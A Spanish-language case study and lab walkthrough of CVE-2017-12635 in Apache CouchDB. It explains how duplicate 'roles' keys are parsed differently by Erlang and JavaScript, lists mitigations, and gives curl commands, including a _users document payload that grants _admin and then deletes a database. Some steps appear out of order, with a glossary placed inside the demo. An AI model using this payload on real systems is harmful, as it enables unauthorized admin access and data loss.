
Caso de estudio y PoC de CVE-2017-12635: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Escalada remota de privilegios
Caso de estudio y PoC de CVE-2017-12635 (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - Escalada de privilegios remota
Apache CouchDB es una base de datos NoSQL orientada a documentos, implementada en Erlang.
CouchDB utiliza múltiples formatos y protocolos para almacenar, transferir y procesar sus datos; usa JSON para almacenar datos, JavaScript como su lenguaje de consultas mediante MapReduce, y HTTP como API.
CouchDB puede usarse como una base de datos de nodo único, así como en clúster.
Debido a la discrepancia entre el analizador JSON basado en Erlang y el analizador JSON basado en JavaScript, existía una vulnerabilidad en CouchDB anterior a 1.7.0 y en las versiones 2.x anteriores a 2.1.1 que permitía a usuarios no administradores escalar privilegios enviando documentos _users con claves roles duplicadas utilizadas para el control de acceso dentro de las bases de datos, incluido el caso especial del rol _admin, que denota a los usuarios administrativos.
En resumen, la vulnerabilidad permite que usuarios no administradores se otorguen privilegios de administrador.
De fábrica, CouchDB permite que cualquier solicitud sea realizada por cualquier persona. Todos tienen privilegios para hacer cualquier cosa.
CouchDB tiene el concepto de usuario administrador (por ejemplo, un administrador, un superusuario o root) al que se le permite hacer cualquier cosa en una instalación de CouchDB. Por defecto, todos son administradores. Si no te gusta eso, puedes crear usuarios administradores específicos con nombre de usuario y contraseña como credenciales.
CouchDB también define un conjunto de solicitudes que solo los usuarios administradores pueden realizar. Visita documentación oficial para más información.
CouchDB tiene una base de datos de autenticación especial que almacena a todos los usuarios registrados como documentos JSON.
CouchDB utiliza una base de datos especial (llamada _users por defecto) para almacenar información sobre los usuarios registrados. Esta es una base de datos de sistema, lo que significa que, si bien comparte la API común de bases de datos, existen algunas restricciones especiales relacionadas con la seguridad y acuerdos aplicados sobre la estructura de los documentos.
Solo los administradores pueden GET, PUT o DELETE cualquier documento en la base de datos _users.
Los usuarios solo pueden acceder (GET /_users/org.couchdb.user:<nombredeusuario>) o modificar (PUT /_users/org.couchdb.user:<nombredeusuario>) los documentos que poseen.
Cada usuario de CouchDB se almacena en formato de documento. Estos documentos contienen varios campos obligatorios que CouchDB maneja para el correcto proceso de autenticación. Nos interesa el campo roles.
El campo roles es una lista de roles de usuario. CouchDB no proporciona roles integrados, por lo que eres libre de definir los tuyos propios según tus necesidades. Sin embargo, no puedes establecer roles de sistema como _admin ahí. Además, solo los administradores pueden asignar roles a los usuarios; por defecto, todos los usuarios no tienen roles.
CouchDB está escrito en Erlang, pero permite a los usuarios especificar scripts de validación de documentos en JavaScript. Estos scripts se evalúan automáticamente cuando se crea o actualiza un documento. Se inician en un proceso nuevo y reciben documentos serializados en JSON desde el lado de Erlang.
CouchDB envía funciones y documentos a un intérprete de JavaScript. Este mecanismo es lo que permite a los usuarios escribir funciones de validación de documentos en JavaScript. La función validate_doc_update se ejecuta para cada documento creado o actualizado. Si la función de validación lanza una excepción, la actualización se deniega; cuando no lo hace, las actualizaciones se aceptan.
CouchDB utiliza la función validate_doc_update para evitar que se realicen actualizaciones de documentos inválidas o no autorizadas.
function(newDoc, oldDoc, userCtx, secObj) {...}
Argumentos:
newDoc – Nueva versión del documento que se almacenaráoldDoc – Versión anterior del documento ya almacenadouserCtx – Objeto de contexto de usuariosrcObj – Objeto de seguridadA la función se le pasa el documento nuevo de la solicitud de actualización, el documento actual almacenado en la base de datos, un Objeto de Contexto de Usuario que contiene información sobre el usuario que escribe el documento (si está presente), y un Objeto de Seguridad con listas de roles de seguridad de la base de datos.
El analizador JSON utilizado internamente por CouchDB es jiffy y el utilizado en los scripts de validación por JavaScript es JSON.
El problema es que existe una discrepancia entre JSON y jiffy al tratar con claves duplicadas.
Para una clave dada, el analizador de Erlang almacenará ambos valores, pero el analizador de JavaScript solo almacenará el último.
Por ejemplo, analizar {"name":"John", "name":"Jane"} con ambos analizadores producirá:
jiffy: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON: {name: "Jane"}La función getter para la representación interna de los datos de CouchDB solo devolverá el primer valor.
Podemos omitir toda la validación de entrada relevante y crear un usuario administrador creando un usuario con la clave roles duplicada.
Así es como se ve el documento del nuevo usuario: {..., "roles": ["_admin"], "roles": [], ...} .
La función getter para la representación interna de los datos de CouchDB solo devolverá el primer valor. Como resultado, en el terreno de Erlang, nos veremos a nosotros mismos con el rol _admin, mientras que en el terreno de JavaScript parecemos no tener permisos especiales.
Afortunadamente para el atacante, casi toda la lógica importante relacionada con la autenticación y la autorización, aparte del script de validación de entrada, ocurre en la parte de Erlang de CouchDB.
Para esta demo, usaremos una imagen Docker del repositorio oficial couchdb. Necesitamos un cliente HTTP para realizar llamadas a la API y usaremos cURL para ello.
Se puede usar cualquier sistema operativo para esta demo.
Requisitos previos:
Estos son los comandos a ejecutar para explotar la vulnerabilidad:
Crear un contenedor basado en la imagen oficial de couchdb
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
Elegimos la etiqueta 1.6.1 porque la versión 1.6.1 de CouchDB es vulnerable.
Asegurarse de que la instancia de CouchDB esté lanzada y funcionando
curl -X GET http://localhost:5984
Consulta: Todas las bases de datos en la instancia
curl -X GET http://localhost:5984/_all_dbs
Consulta: Crear una nueva base de datos llamada records
curl -X PUT http://localhost:5984/records
Consulta: Asegurarse de que la base de datos records se haya creado
curl -X GET http://localhost:5984/_all_dbs
Podemos obtener, agregar e incluso eliminar todos los registros de la instancia de CouchDB porque una instalación predeterminada de CouchDB proporciona acceso de nivel administrador a todos los usuarios que se conectan. Esta configuración se conoce como Admin Party. Podemos terminar la fiesta simplemente creando la primera cuenta de administrador.
Consulta: Crear una cuenta de administrador con las credenciales admin:admin
La demo demostró que cualquier usuario puede crear una cuenta con rol de administrador y actuar en la base de datos como si fuera un administrador.
Podemos distinguir dos tipos de instancias de CouchDB:
Por defecto, una instancia de CouchDB puede ser consultada por usuarios anónimos. Para garantizar que todas las solicitudes permitidas provengan únicamente de usuarios autenticados, podemos establecer require_valid_user en true en el archivo de configuración de la base de datos. Al hacer esto, no se permiten solicitudes de usuarios anónimos; todos deben estar autenticados.
Estos son algunos procedimientos a seguir para evitar que usuarios malintencionados exploten la vulnerabilidad. Esto es válido para todos los usuarios de CouchDB 1.x y 2.x que no estén en 2.1.1 o posterior, o 1.7.1 o posterior.
Instancias públicas de CouchDB:
require_valid_user y confías en todos tus usuarios con acceso de administrador de la base de datos y shell del servidor: no hay problema.Instancias internas de CouchDB:
require_valid_user habilitado y confías en todos tus usuarios con acceso de administrador de la base de datos y shell del servidor: no hay problema.require_valid_user deshabilitado y confías en todos tus usuarios con acceso de administrador de la base de datos y shell del servidor: habilita require_valid_user.API: Una interfaz de programación de aplicaciones (API) es una interfaz o protocolo de comunicación entre diferentes partes de un programa informático destinado a simplificar la implementación y el mantenimiento del software.
Erlang: Erlang es un lenguaje de programación funcional, concurrente y de propósito general, y un sistema de tiempo de ejecución con recolección de basura.
HTTP: El Protocolo de Transferencia de Hipertexto (HTTP) es un protocolo de aplicación para sistemas de información hipermedia distribuidos, colaborativos y multimedia. HTTP es la base de la comunicación de datos para la World Wide Web, donde los documentos de hipertexto incluyen hipervínculos a otros recursos a los que el usuario puede acceder fácilmente.
JSON: La Notación de Objetos de JavaScript (JSON) es un formato de archivo de estándar abierto o formato de intercambio de datos que utiliza texto legible por humanos para transmitir objetos de datos que consisten en pares de atributo–valor y tipos de datos de arreglo (o cualquier otro valor serializable). Es un formato de datos muy común, con una amplia gama de aplicaciones, como servir como reemplazo de XML en sistemas AJAX.
MapReduce: MapReduce es un modelo de programación y una implementación asociada para procesar y generar grandes conjuntos de datos con un algoritmo paralelo y distribuido en un clúster.
NoSQL: Una base de datos NoSQL proporciona un mecanismo para el almacenamiento y la recuperación de datos modelados de formas distintas a las relaciones tabulares utilizadas en las bases de datos relacionales.
PoC: Prueba de concepto (PoC) es la realización de un determinado método o idea para demostrar su viabilidad, o una demostración en principio con el objetivo de verificar que algún concepto o teoría tiene potencial práctico.
Escalada de privilegios: La escalada de privilegios es el acto de explotar un error, defecto de diseño u omisión de configuración en un sistema operativo o aplicación de software para obtener acceso elevado a recursos que normalmente están protegidos de una aplicación o usuario.
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
Consulta: Crear una nueva base de datos llamada new_records
curl -X PUT http://localhost:5984/new_records
¡Ups! Ya no podemos crear una nueva base de datos porque la Admin Party se terminó cuando se creó la primera cuenta de administrador.
Consulta: Crear una nueva base de datos llamada new_records con autenticación de administrador
curl -X PUT http://admin:admin@localhost:5984/new_records
Consulta: Crear un nuevo documento en la base de datos _users
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
Aquí podemos crear un nuevo documento en la base de datos _users, pero con restricciones en sus argumentos.
Podemos omitir las restricciones duplicando el campo roles como se explicó antes.
Consulta: Eliminar la base de datos llamada new_records
curl -X DELETE http://localhost:5984/new_records
¡Ups! No podemos porque no tenemos el rol de administrador.
Consulta: Eliminar la base de datos llamada new_records con autenticación de invitado
curl -X DELETE http://guest:guest@localhost:5984/new_records
¡Bingo! Eliminamos la base de datos incluso si la cuenta de invitado se creó como un usuario normal.